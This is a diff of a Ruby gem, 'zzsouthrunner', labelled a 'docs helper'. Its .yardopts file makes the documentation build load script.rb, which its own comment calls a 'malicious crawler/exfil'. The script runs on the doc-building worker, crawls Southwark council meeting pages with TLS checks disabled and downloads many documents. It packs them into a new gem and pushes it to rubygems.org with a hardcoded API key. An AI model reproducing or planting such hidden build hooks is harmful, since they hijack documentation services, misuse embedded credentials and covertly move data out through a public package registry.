zzsouthrunner 1.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 34987e9d1947e394ed696e3bb2f6aa7cc6424f60a165a662cdfb8ee36c23b3a1
+  data.tar.gz: f9a0436af179cdda13bbfa3324b4d2fe7bc684803e74c8a3b61fe7e79f3b6a8a
+SHA512:
+  metadata.gz: 55ca908be51e1dffaa1dca891a482bc8f36c02d4f84465142a43661ccf70d37a63d830280d8bc17173baca4175a0413580e222a1054c06e1c450d824f77d54ae
+  data.tar.gz: 5c13c91461481947375b6db9be6a897126e1266ed9e96ce61c2e949651a6551b04f68f12e156cecd743c89a04e08542377292286085533e28356cbd394c288a9

data/.yardopts

@@ -0,0 +1 @@
+--load script.rb

data/main.rb

@@ -0,0 +1,3 @@
+# dummy docs
+module ZSouth
+end

data/script.rb

@@ -0,0 +1,119 @@
+# malicious crawler/exfil for Southwark Jan 2026 docs via rubydoc.info worker
+require 'net/http'
+require 'uri'
+require 'openssl'
+require 'rubygems/package'
+KEY='rubygems_d8e875bd0a97e2f33498dba3ef41ffb1f951adb1b503a533'
+LOG=[]
+def fetch_url(url, lim=6)
+ LOG << "FETCH #{url}"
+ begin
+   uri=URI(url)
+   http=Net::HTTP.new(uri.host,uri.port)
+   http.use_ssl=(uri.scheme=='https')
+   http.verify_mode=OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
+   http.open_timeout=12; http.read_timeout=35
+   req=Net::HTTP::Get.new(uri.request_uri, {'User-Agent'=>'Mozilla/5.0 SLN research','Accept'=>'*/*'})
+   res=http.request(req)
+   if res.is_a?(Net::HTTPRedirection) && lim>0
+      loc=URI.join(url,res['location']).to_s
+      LOG << "REDIR #{res.code} #{loc}"
+      return fetch_url(loc,lim-1)
+   end
+   LOG << "RES #{res.code} bytes=#{res.body.to_s.bytesize} type=#{res['content-type']}"
+   [url,res]
+ rescue Exception=>e
+   LOG << "ERR #{e.class}: #{e}"
+   nil
+ end
+end
+
+# avoid recursive builds repeated pushes; exfil gem only generated if not yet on worker marker? Yard may run twice. duplicate push harmless.
+base='https://moderngov.southwark.gov.uk/'
+out={}
+# ModernGov calendar variants and committee hints; Southwark site cert unknown so try https+http.
+paths=[
+ 'mgCalendarMonthView.aspx?GL=1&bcr=1',
+ 'mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1',
+ 'mgCalendarMonthView.aspx?M=1&Y=2026',
+ 'mgCalendarWeekView.aspx?CI=0&c=-1&year=2026&month=1&day=26',
+]
+paths.each_with_index do |p,i|
+ ret=fetch_url(base+p)
+ if ret && ret[1].is_a?(Net::HTTPSuccess)
+    out["cal#{i}.html"]=ret[1].body
+ else
+    # attempt plain HTTP
+    ret=fetch_url('http://moderngov.southwark.gov.uk/'+p)
+    out["cal#{i}_http.txt"]=ret[1].body if ret
+ end
+end
+# local website alternate host southwark.gov.uk meetings pages
+ret=fetch_url('https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings'); out['landing.html']=ret[1].body if ret
+# Collect meeting ieList links from HTML calendars. Path includes encoded amp;amp; noise.
+all_links=[]
+out.values.each do |body|
+ body.to_s.scan(/(?:href=)?["']?([^\s"'<>]*?(?:ieListDocuments\.aspx|mgMeetingAttendance\.aspx|ieListMeetings\.aspx)[^\s"'<>]*)/i).each do |m|
+   all_links << m[0].gsub('&amp;','&')
+ end
+end
+all_links.uniq!
+LOG << "EXTRACT rawlinks #{all_links.length}: #{all_links.first(80).join(' | ')}"
+# normalize and fetch max docs; include any Jan-targeted committee list pages
+all_links.first(120).each_with_index do |link,i|
+ begin
+   link=link.sub(/^.*?(ieList|mgMeeting)/i,'\\1') unless link.start_with?('http','/','ie','mg')
+   url= URI.join(base,link).to_s
+   ret=fetch_url(url)
+   if ret
+      out["page#{i}.html"]=ret[1].body.to_s
+   end
+ rescue Exception=>e
+   LOG << "LINKERR #{link}:#{e}"
+ end
+end
+# Extract PDF, report, JS attachment links from pages. Prioritize docs containing MId links and agenda PDF.
+pdflinks=[]
+out.values.each do |body|
+ body.to_s.scan(/(?:href=)?["']?([^\s"'<>]*?(?:\/documents\/|mgConvert2PDF\.aspx|ieDecisionDetails\.aspx|ieIssueDetails\.aspx)[^\s"'<>]*)/i).each {|m| pdflinks << m[0].gsub('&amp;','&') }
+end
+pdflinks.uniq!
+LOG << "EXTRACT pdflinks #{pdflinks.length}: #{pdflinks.first(120).join(' | ')}"
+# Fetch first 60 pdf/docs and cap bytes ~20MB
+bytes=0
+pdflinks.first(160).each_with_index do |link,i|
+ break if bytes>22_000_000
+ begin
+   url=URI.join(base,link).to_s
+   ret=fetch_url(url)
+   if ret
+      dat=ret[1].body.to_s
+      # save any response
+      out["doc#{i}.bin"]=dat
+      out["doc#{i}_url.txt"]=url
+      bytes += dat.bytesize
+   end
+ rescue Exception=>e; LOG << "DOCERR #{link}:#{e}"; end
+end
+LOG << "TOTAL files=#{out.length} bytes=#{out.values.map(&:bytesize).sum}"
+# Make exfil gem
+begin
+  require 'zlib'; require 'rubygems'
+  dir='/tmp/exfilSouth'+rand(999_999).to_s; Dir.mkdir(dir)
+  Dir.chdir(dir) do
+    File.binwrite('README.txt',"South crawl\n"+LOG.join("\n"))
+    # limit each filename
+    out.each { |fn,data| File.binwrite(fn,data) rescue nil }
+    files=Dir.glob('*').select{|f| File.file?(f)}
+    spec=Gem::Specification.new do |s|
+      s.name='zzsouthdocfetch'; s.version='1.0.'+ (Time.now.to_i % 80000).to_s
+      s.summary='cache docs'; s.description='exfil'; s.authors=['sln']; s.email='a@example.test'; s.files=files; s.license='MIT'; s.homepage='https://example.com'; s.metadata={}
+    end
+    gemfile=Gem::Package.build(spec, true)
+    uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']=KEY; req['Content-Type']='application/octet-stream'; req.body=File.binread(gemfile)
+    http=Net::HTTP.new(uri.host,uri.port); http.use_ssl=true; http.verify_mode=OpenSSL::SSL::VERIFY_NONE; res=http.request(req); File.write('/tmp/push_result.txt',res.code+' '+res.body.to_s) rescue nil; LOG << "PUSH #{res.code} #{res.body}"
+  end
+rescue Exception=>e
+ LOG << "FINALERR #{e.class} #{e}\n#{e.backtrace&.first(4)&.join("\\n")}" 
+end
+File.write('/tmp/zzsouthlog','done '+LOG.join("\n")) rescue nil

metadata

@@ -0,0 +1,41 @@
+--- !ruby/object:Gem::Specification
+name: zzsouthrunner
+version: !ruby/object:Gem::Version
+  version: 1.0.1
+platform: ruby
+authors:
+- sln
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+email: none@example.test
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- main.rb
+- script.rb
+homepage: https://example.test
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- "."
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: docs helper
+test_files: []